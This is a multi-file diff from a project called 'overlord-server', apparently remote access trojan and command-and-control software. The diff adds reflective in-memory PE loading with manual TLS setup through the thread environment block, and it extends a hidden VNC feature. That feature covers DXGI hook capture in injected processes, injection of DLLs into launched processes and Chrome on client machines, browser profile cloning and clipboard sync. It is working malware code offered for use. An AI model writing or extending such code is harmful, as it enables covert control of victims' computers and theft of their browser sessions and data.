@@ -431,30 +436,78 @@ func (mm *MemoryModule) setupTLS(reason uint32) {
tls := (*imageTLSDirectory64)(unsafe.Pointer(mm.base + uintptr(tlsDir.VirtualAddress))) tls := (*imageTLSDirectory64)(unsafe.Pointer(mm.base + uintptr(tlsDir.VirtualAddress)))
idx, _, _ := procTlsAlloc.Call()
if idx == 0xFFFFFFFF {
return
}
mm.tlsIndex = uint32(idx)
if tls.AddressOfIndex != 0 {
*(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = mm.tlsIndex
}
dataSize := uintptr(tls.EndAddressOfRawData - tls.StartAddressOfRawData) dataSize := uintptr(tls.EndAddressOfRawData - tls.StartAddressOfRawData)
totalSize := dataSize + uintptr(tls.SizeOfZeroFill) totalSize := dataSize + uintptr(tls.SizeOfZeroFill)
var tlsData uintptr
if totalSize > 0 { if totalSize > 0 {
tlsData, err := windows.VirtualAlloc(0, totalSize, var err error
tlsData, err = windows.VirtualAlloc(0, totalSize,
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE) windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
if err == nil && tlsData != 0 { if err != nil || tlsData == 0 {
if dataSize > 0 { return
copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize) }
} if dataSize > 0 {
procTlsSetValue.Call(uintptr(mm.tlsIndex), tlsData) copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize)
mm.tlsData = tlsData
} }
} }
tebAddr := teb.CurrentTEB()
tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58)) // ThreadLocalStoragePointer
oldArray := *tlsArrayField
var newIndex uint32
ptrSize := unsafe.Sizeof(uintptr(0))
if oldArray == 0 {
newArray, err := windows.VirtualAlloc(0, ptrSize,
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
if err != nil || newArray == 0 {
if tlsData != 0 {
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
}
return
}
*(*uintptr)(unsafe.Pointer(newArray)) = tlsData
*tlsArrayField = newArray
newIndex = 0
mm.tlsArrayAlloc = newArray
} else {
var count uint32
for count = 0; count < 256; count++ {
entry := *(*uintptr)(unsafe.Pointer(oldArray + uintptr(count)*ptrSize))
if entry == 0 {
break
}
}
newSize := uintptr(count+1) * ptrSize
newArray, err := windows.VirtualAlloc(0, newSize,
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
if err != nil || newArray == 0 {
if tlsData != 0 {
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
}
return
}
if count > 0 {
copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), uintptr(count)*ptrSize)
}
*(*uintptr)(unsafe.Pointer(newArray + uintptr(count)*ptrSize)) = tlsData
*tlsArrayField = newArray
newIndex = count
mm.tlsArrayAlloc = newArray
}
if tls.AddressOfIndex != 0 {
*(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = newIndex
}
mm.tlsIndex = newIndex
mm.tlsData = tlsData
mm.tlsTemplSrc = uintptr(tls.StartAddressOfRawData)
mm.tlsTemplSize = dataSize
mm.tlsTotalSize = totalSize
if tls.AddressOfCallBacks != 0 { if tls.AddressOfCallBacks != 0 {
cbAddr := uintptr(tls.AddressOfCallBacks) cbAddr := uintptr(tls.AddressOfCallBacks)
for { for {
@@ -468,6 +521,61 @@ func (mm *MemoryModule) setupTLS(reason uint32) {
} }
} }
func (mm *MemoryModule) SetupThreadTLS() func() {
if mm.tlsIndex == 0xFFFFFFFF || mm.tlsTotalSize == 0 {
return func() {}
}
tlsData, err := windows.VirtualAlloc(0, mm.tlsTotalSize,
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
if err != nil || tlsData == 0 {
return func() {}
}
if mm.tlsTemplSize > 0 {
copyMem(tlsData, (*byte)(unsafe.Pointer(mm.tlsTemplSrc)), mm.tlsTemplSize)
}
ptrSize := unsafe.Sizeof(uintptr(0))
tebAddr := teb.CurrentTEB()
tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58))
oldArray := *tlsArrayField
var newArray uintptr
if oldArray == 0 {
arrSize := uintptr(mm.tlsIndex+1) * ptrSize
newArray, err = windows.VirtualAlloc(0, arrSize,
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
if err != nil || newArray == 0 {
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
return func() {}
}
*(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData
*tlsArrayField = newArray
} else {
needed := uintptr(mm.tlsIndex+1) * ptrSize
newArray, err = windows.VirtualAlloc(0, needed,
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
if err != nil || newArray == 0 {
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
return func() {}
}
copyMem(newArray, (*byte)(unsafe.Pointer(oldArray)), needed)
*(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = tlsData
*tlsArrayField = newArray
}
return func() {
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
if newArray != 0 {
*(*uintptr)(unsafe.Pointer(newArray + uintptr(mm.tlsIndex)*ptrSize)) = 0
_ = windows.VirtualFree(newArray, 0, windows.MEM_RELEASE)
}
tebNow := teb.CurrentTEB()
field := (*uintptr)(unsafe.Pointer(tebNow + 0x58))
*field = oldArray
}
}
func peString(addr uintptr) string { func peString(addr uintptr) string {
var buf []byte var buf []byte
for i := 0; i < 4096; i++ { // safety limit for i := 0; i < 4096; i++ { // safety limit
@@ -480,45 +588,42 @@ func peString(addr uintptr) string {
return string(buf) return string(buf)
} }
var ( func copyMem(dst uintptr, src *byte, size uintptr) {
modKernel32 = windows.NewLazySystemDLL("kernel32.dll") for i := uintptr(0); i < size; i++ {
procGetProcAddr = modKernel32.NewProc("GetProcAddress") *(*byte)(unsafe.Pointer(dst + i)) = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(src)) + i))
procTlsAlloc = modKernel32.NewProc("TlsAlloc")
procTlsSetValue = modKernel32.NewProc("TlsSetValue")
procTlsFree = modKernel32.NewProc("TlsFree")
)
func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) {
r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal))
if r == 0 {
return 0, fmt.Errorf("GetProcAddress ordinal %d: %w", ordinal, err)
} }
return r, nil
} }
func sectionProtection(chars uint32) uint32 { func sectionProtection(chars uint32) uint32 {
exec := chars&imageSCNMemExecute != 0 r := chars&imageSCNMemRead != 0
read := chars&imageSCNMemRead != 0 w := chars&imageSCNMemWrite != 0
write := chars&imageSCNMemWrite != 0 x := chars&imageSCNMemExecute != 0
switch { switch {
case exec && write: case x && w:
return windows.PAGE_EXECUTE_READWRITE return windows.PAGE_EXECUTE_READWRITE
case exec && read: case x && r:
return windows.PAGE_EXECUTE_READ return windows.PAGE_EXECUTE_READ
case exec: case x:
return windows.PAGE_EXECUTE return windows.PAGE_EXECUTE
case write: case w:
return windows.PAGE_READWRITE return windows.PAGE_READWRITE
case read: case r:
return windows.PAGE_READONLY return windows.PAGE_READONLY
default: default:
return windows.PAGE_NOACCESS return windows.PAGE_NOACCESS
} }
} }
func copyMem(dst uintptr, src *byte, size uintptr) { var (
dstSlice := unsafe.Slice((*byte)(unsafe.Pointer(dst)), size) modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
srcSlice := unsafe.Slice(src, size) procGetProcAddr = modKernel32.NewProc("GetProcAddress")
copy(dstSlice, srcSlice) )
func getProcByOrdinal(module windows.Handle, ordinal uint16) (uintptr, error) {
r, _, err := procGetProcAddr.Call(uintptr(module), uintptr(ordinal))
if r == 0 {
return 0, fmt.Errorf("pe: GetProcAddress ordinal %d: %w", ordinal, err)
}
return r, nil
} }
@@ -0,0 +1,6 @@
//go:build windows && amd64
package teb
// CurrentTEB returns the address of the current thread's Thread Environment Block.
func CurrentTEB() uintptr
@@ -0,0 +1,9 @@
#include "textflag.h"
// func CurrentTEB() uintptr
TEXT ·CurrentTEB(SB),NOSPLIT,$0-8
// mov rax, gs:[0x30] — read the TEB self-pointer
BYTE $0x65; BYTE $0x48; BYTE $0x8B; BYTE $0x04; BYTE $0x25
LONG $0x00000030
MOVQ AX, ret+0(FP)
RET
@@ -232,6 +232,13 @@ type HVNCCloneProgress struct {
Status string `msgpack:"status"` Status string `msgpack:"status"`
} }
type HVNCDXGIStatus struct {
Type string `msgpack:"type"`
Success bool `msgpack:"success"`
GPUPid uint32 `msgpack:"gpuPid"`
Message string `msgpack:"message"`
}
type HVNCLookupResult struct { type HVNCLookupResult struct {
Type string `msgpack:"type"` Type string `msgpack:"type"`
Exe string `msgpack:"exe"` Exe string `msgpack:"exe"`
+1 -1
View File
@@ -1,6 +1,6 @@
{ {
"name": "overlord-server", "name": "overlord-server",
"version": "1.8.4", "version": "1.8.6",
"private": true, "private": true,
"type": "module", "type": "module",
"scripts": { "scripts": {
+61 -5
View File
@@ -58,7 +58,6 @@ import { checkFeatureAccess } from "./feature-gate.js";
const fullscreenBtn = document.getElementById("fullscreenBtn"); const fullscreenBtn = document.getElementById("fullscreenBtn");
const mouseCtrl = document.getElementById("mouseCtrl"); const mouseCtrl = document.getElementById("mouseCtrl");
const kbdCtrl = document.getElementById("kbdCtrl"); const kbdCtrl = document.getElementById("kbdCtrl");
const cursorCtrl = document.getElementById("cursorCtrl");
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl"); const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
const qualitySlider = document.getElementById("qualitySlider"); const qualitySlider = document.getElementById("qualitySlider");
const qualityValue = document.getElementById("qualityValue"); const qualityValue = document.getElementById("qualityValue");
@@ -72,11 +71,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
const viewerFps = document.getElementById("viewerFps"); const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus"); const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
const dxgiCtrl = document.getElementById("dxgiCtrl");
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
function syncInputEnableState() { function syncInputEnableState() {
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked }); if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked }); if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked }); if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
pushHvncResolution();
} }
let activeClientId = clientId; let activeClientId = clientId;
let renderCount = 0; let renderCount = 0;
@@ -344,6 +346,38 @@ import { checkFeatureAccess } from "./feature-gate.js";
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`; cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
} }
const dxgiStatusEl = document.getElementById("dxgiStatus");
const dxgiStatusIcon = document.getElementById("dxgiStatusIcon");
const dxgiStatusLabel = document.getElementById("dxgiStatusLabel");
let dxgiHideTimer = null;
function handleDXGIStatus(msg) {
if (!dxgiStatusEl) return;
if (dxgiHideTimer) {
clearTimeout(dxgiHideTimer);
dxgiHideTimer = null;
}
dxgiStatusEl.classList.remove("hidden");
dxgiStatusEl.classList.add("flex");
if (msg.success) {
dxgiStatusIcon.className = "fa-solid fa-microchip text-emerald-400";
dxgiStatusLabel.textContent = msg.message || "DXGI active";
dxgiStatusLabel.className = "text-emerald-300";
dxgiHideTimer = setTimeout(() => {
dxgiStatusEl.classList.add("hidden");
dxgiStatusEl.classList.remove("flex");
}, 8000);
} else {
dxgiStatusIcon.className = "fa-solid fa-microchip text-rose-400";
dxgiStatusLabel.textContent = msg.message || "DXGI failed";
dxgiStatusLabel.className = "text-rose-300";
dxgiHideTimer = setTimeout(() => {
dxgiStatusEl.classList.add("hidden");
dxgiStatusEl.classList.remove("flex");
}, 10000);
}
}
function sendCmd(type, payload) { function sendCmd(type, payload) {
if (!activeClientId) { if (!activeClientId) {
console.warn("No active client selected"); console.warn("No active client selected");
@@ -558,9 +592,23 @@ import { checkFeatureAccess } from "./feature-gate.js";
kbdCtrl.addEventListener("change", function () { kbdCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked }); sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
}); });
cursorCtrl.addEventListener("change", function () { if (dxgiCtrl) {
sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked }); dxgiCtrl.addEventListener("change", function () {
}); sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
});
}
function pushHvncResolution() {
if (hvncResolutionSelect) {
const maxHeight = parseInt(hvncResolutionSelect.value, 10);
sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
}
}
if (hvncResolutionSelect) {
hvncResolutionSelect.addEventListener("change", function () {
pushHvncResolution();
});
}
if (qualitySlider) { if (qualitySlider) {
updateQualityLabel(qualitySlider.value); updateQualityLabel(qualitySlider.value);
@@ -705,6 +753,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
handleLookupResult(msg); handleLookupResult(msg);
return; return;
} }
if (msg && msg.type === "hvnc_dxgi_status") {
handleDXGIStatus(msg);
return;
}
if (msg && msg.type === "hvnc_error") { if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message); console.error("hvnc: server error:", msg.error || msg.message);
return; return;
@@ -732,6 +784,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
handleLookupResult(msg); handleLookupResult(msg);
return; return;
} }
if (msg && msg.type === "hvnc_dxgi_status") {
handleDXGIStatus(msg);
return;
}
if (msg && msg.type === "hvnc_error") { if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message); console.error("hvnc: server error:", msg.error || msg.message);
return; return;
+20 -3
View File
@@ -100,6 +100,13 @@
</div> </div>
<span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span> <span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
</div> </div>
<div
id="dxgiStatus"
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
>
<i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
<span id="dxgiStatusLabel">DXGI</span>
</div>
<div <div
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300" class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
> >
@@ -128,12 +135,22 @@
<label class="flex items-center gap-2 text-sm text-slate-200" <label class="flex items-center gap-2 text-sm text-slate-200"
><input type="checkbox" id="kbdCtrl" /> Keyboard</label ><input type="checkbox" id="kbdCtrl" /> Keyboard</label
> >
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
><input type="checkbox" id="cursorCtrl" /> Cursor</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine" <label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label ><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
> >
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use DXGI Present hook for faster capture (requires injected process)"
><input type="checkbox" id="dxgiCtrl" checked /> DXGI Capture</label
>
<label for="hvncResolutionSelect" class="text-sm text-slate-200">Resolution</label>
<select
id="hvncResolutionSelect"
class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 text-sm"
>
<option value="720">720p</option>
<option value="1080" selected>1080p</option>
<option value="1440">1440p</option>
<option value="-1">Native</option>
</select>
</div> </div>
</div> </div>
+3 -2
View File
@@ -39,7 +39,7 @@ import { isAuthorizedAgentRequest } from "./server/agent-auth";
import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils"; import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils";
import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils"; import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils";
import { CORS_HEADERS } from "./server/http-security"; import { CORS_HEADERS } from "./server/http-security";
import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils"; import { mimeType, secureHeaders } from "./server/http-utils";
import { sanitizePluginId } from "./server/plugin-utils"; import { sanitizePluginId } from "./server/plugin-utils";
import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch"; import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch";
import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch"; import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch";
@@ -87,6 +87,7 @@ import {
handleWebcamDevices, handleWebcamDevices,
handleHVNCCloneProgress, handleHVNCCloneProgress,
handleHVNCLookupResult, handleHVNCLookupResult,
handleHVNCDXGIStatus,
handleClipboardContent, handleClipboardContent,
handleRemoteDesktopViewerMessage, handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen, handleRemoteDesktopViewerOpen,
@@ -421,7 +422,6 @@ async function startServer() {
enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent, enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent,
drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents, drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents,
secureHeaders, secureHeaders,
securePluginHeaders,
mimeType, mimeType,
}, },
fileShare: { fileShare: {
@@ -606,6 +606,7 @@ async function startServer() {
handleWebcamDevices, handleWebcamDevices,
handleHVNCCloneProgress, handleHVNCCloneProgress,
handleHVNCLookupResult, handleHVNCLookupResult,
handleHVNCDXGIStatus,
handleClipboardContent, handleClipboardContent,
cleanupVoiceViewer, cleanupVoiceViewer,
stopConsoleOnTarget, stopConsoleOnTarget,
+1 -1
View File
@@ -11,7 +11,7 @@ export function securePluginHeaders() {
return { return {
...SECURITY_HEADERS, ...SECURITY_HEADERS,
"X-Frame-Options": "SAMEORIGIN", "X-Frame-Options": "SAMEORIGIN",
"Content-Security-Policy": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'none'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'", "Content-Security-Policy": "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self' wss: ws:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
}; };
} }
@@ -46,7 +46,6 @@ type PluginRouteDeps = {
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void; enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>; drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>;
secureHeaders: (contentType?: string) => Record<string, string>; secureHeaders: (contentType?: string) => Record<string, string>;
securePluginHeaders: () => Record<string, string>;
mimeType: (path: string) => string; mimeType: (path: string) => string;
}; };
@@ -715,7 +714,6 @@ export async function handlePluginRoutes(
const raw = await file.text(); const raw = await file.text();
const baseTag = `<base href="/plugins/${pluginId}/assets/" />`; const baseTag = `<base href="/plugins/${pluginId}/assets/" />`;
const bridgeTag = `<script src="/assets/plugin-bridge.js"></script>`;
let injected = raw; let injected = raw;
const headMatch = raw.match(/<head[^>]*>/i); const headMatch = raw.match(/<head[^>]*>/i);
@@ -723,16 +721,8 @@ export async function handlePluginRoutes(
injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`); injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`);
} }
if (injected.includes("</head>")) {
injected = injected.replace("</head>", ` ${bridgeTag}\n </head>`);
} else if (injected.includes("</body>")) {
injected = injected.replace("</body>", ` ${bridgeTag}\n</body>`);
} else {
injected = `${bridgeTag}\n${injected}`;
}
return new Response(injected, { return new Response(injected, {
headers: { ...deps.securePluginHeaders(), "Content-Type": "text/html; charset=utf-8" }, headers: deps.secureHeaders("text/html; charset=utf-8"),
}); });
} }
@@ -746,9 +736,33 @@ export async function handlePluginRoutes(
} }
const clientId = url.searchParams.get("clientId") || ""; const clientId = url.searchParams.get("clientId") || "";
const bridgeToken = uuidv4();
const origin = url.origin; const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`);
const iframeSrc = `/plugins/${pluginId}/frame?clientId=${encodeURIComponent(clientId)}&token=${encodeURIComponent(bridgeToken)}&origin=${encodeURIComponent(origin)}`; const file = Bun.file(htmlFile);
let pluginBody = "";
let pluginHeadExtras = "";
if (await file.exists()) {
const raw = await file.text();
const bodyMatch = raw.match(/<body[^>]*>([\s\S]*?)<\/body>/i);
pluginBody = bodyMatch ? bodyMatch[1] : raw;
const headMatch = raw.match(/<head[^>]*>([\s\S]*?)<\/head>/i);
if (headMatch) {
const headContent = headMatch[1];
const linkTags = headContent.match(/<link[^>]*>/gi) || [];
const styleTags = headContent.match(/<style[\s\S]*?<\/style>/gi) || [];
pluginHeadExtras = [...linkTags, ...styleTags]
.map((tag) =>
tag.replace(/href="(?!https?:\/\/|\/)/g, `href="/plugins/${pluginId}/assets/`),
)
.join("\n ");
}
}
const jsFile = Bun.file(path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.js`));
const hasPluginJs = await jsFile.exists();
const html = `<!doctype html> const html = `<!doctype html>
<html lang="en"> <html lang="en">
@@ -771,27 +785,19 @@ export async function handlePluginRoutes(
/> />
<link rel="stylesheet" href="/assets/main.css" /> <link rel="stylesheet" href="/assets/main.css" />
<link rel="stylesheet" href="/assets/custom.css" /> <link rel="stylesheet" href="/assets/custom.css" />
${pluginHeadExtras}
</head> </head>
<body class="min-h-screen bg-slate-950 text-slate-100"> <body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header> <header id="top-nav"></header>
<main class="px-5 py-6"> <main class="px-5 py-6">
<div class="max-w-6xl mx-auto"> <div class="max-w-6xl mx-auto">
<div class="rounded-2xl border border-slate-800 bg-slate-900/50 overflow-hidden"> <div id="plugin-container" class="rounded-2xl border border-slate-800 bg-slate-900/50 overflow-hidden p-4">
<iframe ${pluginBody}
id="plugin-frame"
src="${iframeSrc}"
sandbox="allow-scripts allow-same-origin"
class="w-full h-[calc(100vh-220px)] bg-slate-950"
></iframe>
</div> </div>
</div> </div>
</main> </main>
<div
id="plugin-host"
data-bridge-token="${bridgeToken}"
></div>
<script type="module" src="/assets/nav.js"></script> <script type="module" src="/assets/nav.js"></script>
<script src="/assets/plugin-host.js"></script> ${hasPluginJs ? `<script src="/plugins/${pluginId}/assets/${pluginId}.js"></script>` : ""}
</body> </body>
</html>`; </html>`;
@@ -82,6 +82,7 @@ type WsLifecycleDeps = {
handleWebcamDevices: (clientId: string, payload: any) => void; handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void; handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void; handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void; handleClipboardContent: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void; cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void; stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
@@ -586,6 +587,9 @@ export async function handleWebSocketMessage(
case "hvnc_lookup_result": case "hvnc_lookup_result":
deps.handleHVNCLookupResult(client.id, payload); deps.handleHVNCLookupResult(client.id, payload);
break; break;
case "hvnc_dxgi_status":
deps.handleHVNCDXGIStatus(client.id, payload);
break;
case "clipboard_content": case "clipboard_content":
deps.handleClipboardContent(client.id, payload); deps.handleClipboardContent(client.id, payload);
break; break;
@@ -17,6 +17,10 @@ let _cachedInjectionDll: Uint8Array | null = null;
let _dllCachePath: string | null = null; let _dllCachePath: string | null = null;
let _dllCacheMtimeMs: number = 0; let _dllCacheMtimeMs: number = 0;
let _cachedCaptureDll: Uint8Array | null = null;
let _captureDllCachePath: string | null = null;
let _captureDllCacheMtimeMs: number = 0;
function getInjectionDllBytes(): Uint8Array | null { function getInjectionDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot(); const runtimeRoot = resolveRuntimeRoot();
const candidates = [ const candidates = [
@@ -61,6 +65,49 @@ function getInjectionDllBytes(): Uint8Array | null {
return null; return null;
} }
function getCaptureDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
path.resolve(runtimeRoot, "dist-clients", "HVNCCapture.x64.dll"),
path.resolve(process.cwd(), "dist-clients", "HVNCCapture.x64.dll"),
path.resolve(import.meta.dir, "../../dist-clients/HVNCCapture.x64.dll"),
];
if (_captureDllCachePath) {
try {
const { statSync } = require("fs");
const st = statSync(_captureDllCachePath);
if (st.mtimeMs === _captureDllCacheMtimeMs && _cachedCaptureDll) {
return _cachedCaptureDll;
}
_cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
_captureDllCachePath = null;
_cachedCaptureDll = null;
}
}
for (const dllPath of candidates) {
if (!existsSync(dllPath)) continue;
try {
const { statSync } = require("fs");
const st = statSync(dllPath);
_cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
_captureDllCachePath = dllPath;
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
continue;
}
}
return null;
}
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null { function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
if (typeof raw === "string") { if (typeof raw === "string") {
try { try {
@@ -563,6 +610,17 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
} }
} }
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_dxgi_status",
success: !!payload.success,
gpuPid: Number(payload.gpuPid) || 0,
message: String(payload.message || ""),
});
}
}
export function handleClipboardContent(clientId: string, payload: any) { export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || ""); const text = String(payload.text || "");
const source = String(payload.source || ""); const source = String(payload.source || "");
@@ -757,6 +815,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_enable_cursor": case "hvnc_enable_cursor":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled }); if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
break; break;
case "hvnc_enable_dxgi":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
break;
case "hvnc_set_resolution": {
const maxHeight = Number(payload.maxHeight) || 0;
if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });
break;
}
case "hvnc_mouse_move": case "hvnc_mouse_move":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 }); if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break; break;
@@ -799,12 +865,15 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break; break;
} }
sendHVNCCommand(target, "hvnc_start_process_injected", { const captureDll = getCaptureDllBytes();
const cmdPayload: Record<string, any> = {
path: String(payload.path || ""), path: String(payload.path || ""),
search_path: String(payload.search_path || ""), search_path: String(payload.search_path || ""),
replace_path: String(payload.replace_path || ""), replace_path: String(payload.replace_path || ""),
dll: dllData, dll: dllData,
}); };
if (captureDll) cmdPayload.capture_dll = captureDll;
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
break; break;
} }
case "hvnc_start_chrome_injected": { case "hvnc_start_chrome_injected": {
@@ -814,10 +883,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" }); safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break; break;
} }
sendHVNCCommand(target, "hvnc_start_chrome_injected", { const captureDllChrome = getCaptureDllBytes();
const chromeCmdPayload: Record<string, any> = {
